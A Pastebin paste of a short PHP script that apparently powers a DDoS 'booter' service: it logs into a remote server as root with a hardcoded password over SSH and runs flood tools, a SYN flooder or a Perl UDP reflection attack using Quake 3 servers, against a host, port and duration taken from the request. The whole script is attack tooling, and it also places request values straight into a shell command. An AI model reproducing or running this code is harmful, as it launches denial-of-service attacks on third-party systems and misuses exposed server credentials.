Guest User

Untitled

a guest
Feb 23rd, 2012
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.62 KB | None | 0 0
  1. include('Net/SSH2.php');
  2.  
  3. if($_GET['ssyn'])
  4. {
  5. $attack = "a.out " . $host . " " . $time . " " . $port;
  6. $ssh = new Net_SSH2('94.102.52.18');
  7.  
  8. if ($ssh->login('root', 'erghergre'))
  9. {
  10. $result = $ssh->exec($attack);
  11. $pos = strpos($result, "Flooding");
  12. if ($pos === false)
  13. {
  14. //Success
  15. }
  16. }
  17. }
  18. else
  19. {
  20. $attack2 = "perl udp.pl " . $host . " " . $port . " servers.txt quake3 15 " . $time;
  21. $ssh = new Net_SSH2('94.102.52.18');
  22.  
  23. if ($ssh->login('root', 'erghergre'))
  24. {
  25. $result = $ssh->exec($attack2);
  26. $pos = strpos($result, "Flooding");
  27. if ($pos === false)
  28. {
  29. //Success
  30. }
  31. }
  32. }
Advertisement
Add Comment
Please, Sign In to add comment